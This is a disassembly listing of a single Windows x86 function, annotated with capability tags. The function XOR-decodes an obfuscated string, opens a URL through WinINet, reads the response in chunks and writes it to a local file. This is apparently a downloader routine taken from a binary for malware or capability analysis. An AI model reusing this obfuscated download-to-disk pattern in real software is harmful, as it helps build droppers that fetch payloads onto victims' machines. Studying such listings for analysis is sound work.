Function at 0x401ff0
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x21bc
call fcn.0041ce70
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
lea edi, [esp + 0xe0]
mov ecx, 0x3a
mov dword [esp + 0x14], edx
mov esi, str.yZLTU_
rep movsd dword es:[edi], dword [esi]
xor esi, esi
cmp dword [0x44b508], 2
jl 0x402150
movaps xmm4, xmmword [0x446860]
mov eax, 4
movaps xmm3, xmmword [0x446940]
movaps xmm6, xmmword [0x446890]
movd xmm5, eax
mov eax, 0x1f
movd xmm7, eax
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x4468d0]
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xe0]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0xe0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x4468d0]
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xe8]
pxor xmm1, xmm0
movq qword [esp + esi*2 + 0xe8], xmm1
add esi, 8
cmp esi, 0x70
jl 0x402054
cmp esi, 0x74
jge 0x40217b
nop dword [eax]
mov eax, 0x4ec4ec4f
imul esi
mov eax, 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
imul eax, eax, 0x34
add eax, esi
xor word [esp + esi*2 + 0xe0], ax
inc esi
cmp esi, 0x74
jl 0x402150
lea ecx, [esp + 0xe0]
mov dword [esp + 0x18], 0
mov dword [esp + 0x28], 0
lea edx, [ecx + 2]
mov dword [esp + 0x2c], 7
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4021a0
sub ecx, edx
lea eax, [esp + 0xe0]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x20]
call fcn.00403b90
cmp dword [esp + 0x2c], 8
lea eax, [esp + 0x18]
push 0
cmovae eax, dword [esp + 0x1c]
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edx, dword [esp + 0x2c]
mov ebx, eax
cmp edx, 8
jb 0x40221c
mov ecx, dword [esp + 0x18]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402212
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40242b
push edx
push ecx
call fcn.0041c138
add esp, 8
xor ecx, ecx
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 7
mov word [esp + 0x18], cx
test ebx, ebx
je 0x402263
mov eax, dword [esp + 0x10]
cmp dword [eax + 0x14], 0x10
jb 0x402243
mov eax, dword [eax]
push 0
push connect
push 0
push 0
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x40226f
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [esp + 0x14]
cmp dword [edi + 0x14], 0x10
jb 0x40227b
mov edi, dword [edi]
push ecx
lea eax, [esp + 0x38]
mov dword [esp + 0x34], 0x445ad8
push eax
lea ecx, [esp + 0xa0]
mov dword [esp + 0xa8], 0
mov dword [esp + 0xc8], 0
mov dword [esp + 0xcc], 0
mov dword [esp + 0xd0], 0
mov dword [esp + 0xa0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov dword [esp + 0x9c], 0x60
call fcn.004041c0
mov eax, dword [esp + 0x30]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x30], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [esp + ecx + 0x2c], eax
lea ecx, [esp + 0x34]
call fcn.00403ff0
push ecx
push 0x22
push edi
lea ecx, [esp + 0x40]
call fcn.00403ef0
test eax, eax
jne 0x402335
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x30]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00401f00
mov eax, dword [esp + 0x30]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x30], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [esp + ecx + 0x2c], eax
mov eax, dword [esp + 0x30]
mov eax, dword [eax + 4]
test byte [esp + eax + 0x3c], 6
je 0x402383
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
lea ecx, [esp + 0x30]
mov esi, 1
call fcn.00402440
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [esp + 0xc]
push eax
push 0x2000
lea eax, [esp + 0x1d0]
push eax
push esi
call edi
test eax, eax
je 0x4023d7
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4023d7
push 0
push eax
lea eax, [esp + 0x1d0]
push eax
lea ecx, [esp + 0x3c]
call fcn.00403300
lea eax, [esp + 0xc]
push eax
push 0x2000
lea eax, [esp + 0x1d0]
push eax
push esi
call edi
test eax, eax
jne 0x4023a2
lea ecx, [esp + 0x34]
call fcn.00403a30
test eax, eax
jne 0x40240b
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x30]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00401f00
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
lea ecx, [esp + 0x30]
xor esi, esi
call fcn.00402440
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00421c52
int3